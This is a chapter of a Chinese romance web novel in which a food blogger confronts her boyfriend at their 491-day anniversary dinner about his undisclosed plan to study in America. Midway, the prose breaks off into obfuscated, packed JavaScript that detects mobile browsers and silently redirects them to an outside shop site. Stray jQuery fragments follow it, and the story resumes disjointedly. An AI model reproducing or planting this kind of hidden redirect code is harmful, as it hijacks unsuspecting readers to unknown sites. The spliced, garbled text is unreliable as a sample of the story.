文趣网 > 都市小说 > 知白 > 1. 一
    芒种前夕,北京。

    这个时节又干又晒,人也没什么精神。林知白整理了下最近刚剪不久的刘海儿,镜子里的人一身米白色连衣裙,裙摆左右晃了晃。确定没什么问题,拿起一个小方包噔噔噔的出门了。

    她今天约了穆行简去吃一家好吃的台州菜,纪念一下他们恋爱已经491天了。

    穆行简还很纳闷,问她这是什么特殊日期吗,当然是了。

    她还没出单元门就看见穆行简了,他带了一束百合,眉眼清隽,骨相利落,倚靠在墙边有几分疏懒。

    “希望我们知知,百事合意。”

    穆行简接过女朋友的包,牵起她的手往前走,花木扶疏间,国槐成荫,撑起一片阴凉。

    台州菜属于浙菜的分支,追求一个“鲜”字,有道是“无鲜勿落饭”,讲究原汁原味,山海和合。

    黄金脆带鱼,取鱼中段最肥美的部分,脆的酥香,熏的甜口。脆皮乳鸽,皮脆肉嫩,一口咬下去嘴里爆汁。小份的沙蒜烧豆面作主食,沙蒜又叫海葵,鲜味裹满红薯粉,鲜的高级。酸菜煮望潮是夏季必吃的菜品,望潮就是小章鱼,火候妙,脆爽q弹。虾籽拌茭白清爽脆嫩,蜜汁红薯甜糯绵密,作为甜品收尾。

    作为一个百万粉丝的美食博主,林知白对于点菜是轻车熟路,什么季节吃什么是心里门儿清。应季、清淡、鲜美,当属台州菜和淮扬菜。

    她手背托着脑袋,有一搭没一搭的嚼着茭白,像咀嚼一块橡胶。这家菜做的确实不错。黄金脆带鱼外酥里嫩。脆皮乳鸽色泽红亮,汁水充盈。沙蒜烧豆面鲜香浓郁,汤汁浓稠。一盘盘以往让她食指大动的美食摆在桌上,此刻仿佛失去色香味。

    抬头,穆行简在给她细致的挑鱼刺,比平时都仔细,像是把这辈子所有的鱼刺都替她挑干净。她忍不住败兴的想,食物就是尸体碎片。

    挑好刺的鱼被放到她碗里,动作很轻,她没动。他又给她盛了一小碗酸菜煮望潮,“尝尝,脆爽弹牙的望潮,咬一口像咬到夏天。”

    侍者端来冰淇淋蛋糕,上面漂亮的勾勒着491,是穆行简提前订的,她一眼看出来是她常吃的那家。

    她定定地盯着491,好像一错眼数字就会不翼而飞。

    “知知,要不要拍照?”穆行简柔声,他看出女朋友似乎有些心事,让店家提前拿了蛋糕出来。

    粉蓝配色的精致小蛋糕,旁边两个可爱小熊。白小熊头戴一个超大蝴蝶结,有点像头纱。棕小熊头顶一个蓝色锥形帽,脖颈前有个小领结。圆底盘上三三两两蓝粉色爱心。

    很漂亮的蛋糕,买的人一定是很用心,所以摆在桌上也不显得格格不入。

    幽暗的包厢,穆行简把她搂在怀里,他们在点燃的蜡烛前闭眼许愿。三张拍立得留下了这一刻。

    侍者拍完安静的离开。林知白没有睁眼,她闭着眼慢慢把头蹭在穆行简怀里,忽然想起去年冬天。

    去年冬天的第一场雪,他从实验室跑出来找她。雪下得很厚,视线里漫天遍地的雪,树上、地上、穆行简的睫毛上。他笑的很好看,唇红齿白,说自己这是林门立雪。那天他们俩穿了情侣装,林知白是暗红羽绒服,袖子上黑色线条。穆行简相反,黑色羽绒服,袖子上红色线条。都是侧边是红色条纹的黑色阔腿裤。

    林知白摆好三脚架,点开录制,和穆行简帽子一扣跑到大槐树下,槐树枝干上全是雪,她蹦蹦跳跳的转圈,穆行简抱着树干狂摇。槐树枝干上的雪洋洋洒洒,一股脑的落下,她大叫“穆行简,雪太大啦!你摇轻一点!”

    两人顶着一头雪,脑袋几乎碰着脑袋,凑到摄像机屏幕前,结果拍出来一点不唯美,几乎看不清人。但穆行简振振有词,说她点了录制后的歪头很可爱。

    雪是冬天的来客,曾替天神见证过他们的幸福。

    当时雪天呼出的热气好像能把人烫化了,而现在,六月的北京,坐在恒温26度的包厢里,寒意从脚底一寸寸蔓延上来。

    林知白不觉瑟缩冷一下,穆行简轻轻拿过外套搭在她身上,伸手慢慢抚着爱人伶仃的背,缓声开口:“我们知知怎么了?”

    林知白还没开口,就有些哽咽。他总是这样照顾她。

    她想缓一缓情绪,好好的开口说,说不定是有什么误会。

    林知白侧着身子慢慢坐直,抬头认真的盯着穆行简的双眼,“你……”未语泪先流。她深吸一口气,想让自己平静,说出口的字句依旧颤抖,“要去美国?”

    她实在不知道怎么开头,委婉的话想了无数遍,到头来说的最直白。

    包厢里阒然无声,只听得见中央空调微弱的清嗡和彼此的呼吸声。深色木作把气氛衬得沉且暗。他的面容被暖黄灯光照的明暗,棱角分明的脸逐渐模糊。

    像死到临头的死囚犯,枪声已到。

    短暂的解脱,紧随而至刺骨的难过,他伏法认罪。

    “穆行简?”

    语气是轻的,委屈的,痛的。

    他向来趋利避害,可此刻说不出任何辩解,指节用力到发白,他听见自己发出声音,“你知道了。”

    眼泪止不住的流淌,林知白嗯了一声,她望着她的爱人,那一刻心是慢的,没有起伏的平静。

    就像她看到他录取邮件的那一刹那。

    她以为他不确定是否能录取所以避而不谈,她告诉自己穆行简收到offer就会讲啦。

    四十五天,度日如年。

    她细细的打量他每一寸眉眼。她还记得高中时他回头看她,那时候两人头挨的很近,于是她发现他有一双桃花一样的眼睛,里面藏着宇宙里的秘密。

    听起来很俗,但那一刻她确实只能想到桃花和星。哪怕这么多年过来,缠绵时她依旧亲吻他眼眸。

    一晃这么多年了。

    穆行简声音干涩,伸手去牵她的手,“知知,我……”他嘴唇动了一下,又抿紧了。手指无意识的想翻转什么。是笔,这是他思考时候的习惯,从高中他给她讲题的时候她就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841606|211663||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    知道了。

    她等了四十五天,等的就是这几秒。

    可他连这几秒解释都吝啬给她。

    林知白失望的看着他,缓缓抽出手,眼泪如珠串,“你没办法说吗?你不知道怎么说,对吗?”

    “我觉得是这样。因为我想了这么多天,没想出一个理由。”

    “没想出一个、能为你辩解的、合理的理由。”她有点抽噎,仍是一字一句掰开了说。

    “国内的时空探测研究还不够成熟,我……”穆行简站在那里,面色白得像一张纸,“对不起,知知。”

    对不起,让你伤心。

    他伸出手,想替她擦掉脸上的泪。就像以前每一次她窝在沙发上追剧看哭,他哄她的那样。他的手碰到她软软的脸颊,已经被泪水浸湿,她没有躲,只是抬起眼晴仔细的看着他。

    她有一双偏圆润的杏眼,眼角钝圆,看人的时候显出几分无辜气质。那双眼睛里有泪,有委屈,有难过,还有一种在她眼里全然陌生的东西。后来他才想明白,那是审视。她用那双红通通的眼睛,重新审视他这个人,和他的爱。

    手指僵在半空,他忽然有些不知所措。这一刻他忽然感受到,一种来自灵魂极深处的残缺。他垂下眼眸,不敢看爱人的眼睛。

    她差一点就心软了。

    他的手触到她的脸,温度和以前一样。那一瞬间,她几乎产生了错觉,仿佛什么都没有发生,今天只是普通的约会日,她蹭在他手边撒娇要他做的西红柿鸡蛋面。她差一点就这样做了。但她没有。

    因为她忽然想到,他抚摸她脸庞的时候,在想什么呢?他会想他们不存在的以后吗?

    委屈铺天盖地淹没她。她其实不怪他出国,为了学术也好,为了前程也好。她喜欢看他站在高处发光的样子。

    穆行简,你许诺岁岁年年的时候,我是真的打算把我人生的一半拿出来,分给你,然后接受你的那一半。

    可是你不是从我发现的那一天开始没说的,是从很久很久之前,久到我们重逢之前。

    林知白扒拉着手指头,想数给他看,确认关系的491天里,你没有一天想跟我说的吗?

    我觉得有,可我质疑你,也开始质疑自己。

    朝夕相处,耳鬓厮磨。我最相信你了。可我夜里竟会翻来覆去的质疑,你和我的这一路,到底哪一刻真心。

    “我们十六岁遇见,高中两年朝夕相处,除了假期几乎天天见面。大四的时候,我来北京拍摄,那天重逢。”

    “那天也是3号,你研二,你跟我说你跳级了。”她掰着手指絮絮的说,“年底我们一起回家。新年的第一天,我们在一起。到我毕业,九月份的时候,你问我要不要留在北京,我说好。”

    桌上粉白配色的蛋糕上,蜡烛静静地注视着一切,“491”这个数字,不知道什么时候,已经被融化的蜡油,模糊了最后一笔。

    “我留在北京,一年四个月零六天,你要走了吗。穆行简?”